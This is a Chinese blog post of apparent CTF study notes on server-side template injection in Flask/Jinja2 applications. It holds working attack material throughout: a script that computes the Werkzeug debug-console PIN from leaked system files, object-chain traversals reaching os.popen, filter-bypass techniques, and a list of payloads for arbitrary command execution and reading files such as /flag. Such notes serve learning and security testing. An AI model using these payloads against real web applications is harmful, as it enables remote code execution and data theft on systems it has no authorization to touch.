SSTI注入

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做分享~

目录

Flask官方文档

 SSTI利用条件:

验证ssti是否存在

Flask的console

总结:

get_pin.py脚本

SSTI的引用链:

突破过滤:

SSTI-payloads:


Flask官方文档

欢迎使用 Flask — Flask 文档 (3.0.x) (palletsprojects.com)

Flask:
5000
python 的一个中间件 ,负责提供http服务,类似与php 的  php-fpm  phpcgi


{{   }}
render_template_string(request.args.get('id'))
-->模板渲染的效果

服务器端模板注入(SSTI)
利用点

 

 SSTI利用条件:

渲染字符串可控,也就说模板的内容可控.
我们通过模板 语法 {{ xxx }} 相当于变相的执行了服务器上的python代码.
利用 render_template_string函数 参数可控,或者部分可控.

render_template    		 相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法.
render_template_string   相当于 eval 执行传入的字符串,直接作为模板语法解析.

 


验证ssti是否存在

    验证ssti是否存在-->
1 {{ 2*2 }}		
2 {{ config }}   -->得到一些配置项

Flask的console

如果开启了调试, 访问/console   ,需要PIN码,(在启动Flask时会自动生成)
app.run(debug=True)
-->
如果文件读取存在,可以拼凑出PIN的所有计算要素,从而自己计算出PIN码.
计算PIN码
modname: flask.app
username: Administrator

public_bits 内容:
['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']
										报错看绝对路径
我们需要知道当前登陆的用户名

private_bits 内容:
['197975952026825', b'5d744fd6-d3af-4dec-83f4-04043f200c3c']
getNode     uuid.getnode
machine_id  读注册表内容

总结:

要计算PIN码,需要private_bits 和public_bits 
分别需要确定的是:
1 python运行的脚本名
2 固定值  flask.app
3 固定值  Flask
4 当前脚本运行的绝对路径  --可以从报错获取
5 uuid.getnode
6 machine_id

get_pin.py脚本

# get_pin.py脚本
import hashlib
from itertools import chain
def getPIN(public_bits,private_bits):
    rv = None
    num = None
    h = hashlib.sha1()
    for bit in chain(public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name
if __name__ == "__main__":
    # 运行此脚本,前提是拿到 private_bits 和 public_bits 
    public_bits=[
    'Administrator',  #用户名
    'flask.app',
    'Flask',
    'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py' # 路径. --报错获取
]
    private_bits=[
        '197975952026825','5d744fd6-d3af-4dec-83f4-04043f200c3c'
        #  nodeid                 machine_id  
    ]
    PIN = getPIN(public_bits,private_bits)
    print(PIN)
  

例子:
    读取--
['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']
['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\Lib\\site-packages\\flask\\app.py']

['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']
['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']
=====================================================================
用户名获取:
读 /etc/passwd
=======================================================================
nodeid获取:
linux下
getNode读取的文件  /sys/class/net/eth0/address
-->
02:42:0a:00:01:74
对其进行整理
>>> s='02:42:0a:00:01:74'
>>> s=s.replace(":","")
>>> print(int(s[1:],16))
2482658869620
======================================================================
machine_id获取:
 读   /proc/sys/kernel/random/boot_id --->
boot_id  05167573-d6ac-4836-ab76-a7897c7a600a
读	/proc/self/cgroup -->
67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e

machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup 整理后 拼接
----->最终machine_id
05167573-d6ac-4836-ab76-a7897c7a600a67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e
----------------------
os.popen('ls').read()

SSTI的引用链:

"".__class__.__base__     # 拿到Object对象 (根类)
.__subclasses__()[144].   # 拿到os类
"".__class__.__base__.__subclasses__()[144]     # 拿到os类 
__init__.__globals__['popen']('calc')   # 调用os类的popen方法,执行calc参数
"".__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('calc')   #调用os类的popen方法,执行calc参数
"".__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('calc')

突破过滤:

1 过滤字符. (点)
"".__class__   转化为  ""['__class__'']

name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}


2 过滤下划线_
第一种 构造下划线   {% set a =(()|select|string|list).pop(24) %} {% print(a) %}
第二种 十六进制绕过  {{  ()["\x5f\x5fclass\x5f\x5f"]  }}

                       
                       
3 绕过[]过滤
__getitem__   可以把中括号换成小括号使用
name={{ "".__class__.__base__.__subclasses__().__getitem__(132) }}

                       
                       
4 过滤了{{
使用{% 绕过

   
   
5 过滤了单引号或者双引号
name={{ "".__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__[request.args.a](request.args.b).read() }}
外部传值
?a=popen&b=ls /

   
6 过滤了数字
构造出1  {{(dict(e=a)|join|count)}}

   

7 关键字绕过
class  base  
{{dict(__cl=a,ass__=a)|join}}
构造class
   
   
   
8 还可以使用全角的数字绕过
0123456789

SSTI-payloads:

1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x

  • 28
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金灰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值